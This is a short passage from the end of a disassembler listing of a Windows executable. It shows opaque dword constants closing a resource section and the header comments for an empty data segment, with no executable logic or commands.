		dd 1488859Ch, 8F6690C3h, 93CD8E1Fh, 0F4A2CB47h,	47917528h
		dd 0F81E5874h, 0FADF9170h, 0DCA47B14h, 0FE3AC5B8h, 10467F5Ch
		dd 0C0528100h, 814E8380h
		dd 0EE9A8549h, 83E87EFh, 87E2A552h, 0C18AAF60h,	0ED20EF6h
		dd 0F8AE9600h, 12729120h, 2432C74Fh, 97A01E35h,	867F1E1h
		dd 0FAE571B0h, 0DEC764ABh, 194B9DFCh, 25EC999Fh, 3E7273D8h
		dd 15FF04DFh, 437210h, 0FF8Bh, 24Eh dup(0)
		dd 60000000h, 7FFDh, 1319h dup(0)
_rsrc		ends

; Section 10. (virtual address 0005F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0005EC00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4005F000h
		align 2000h
_idata2		ends


		end start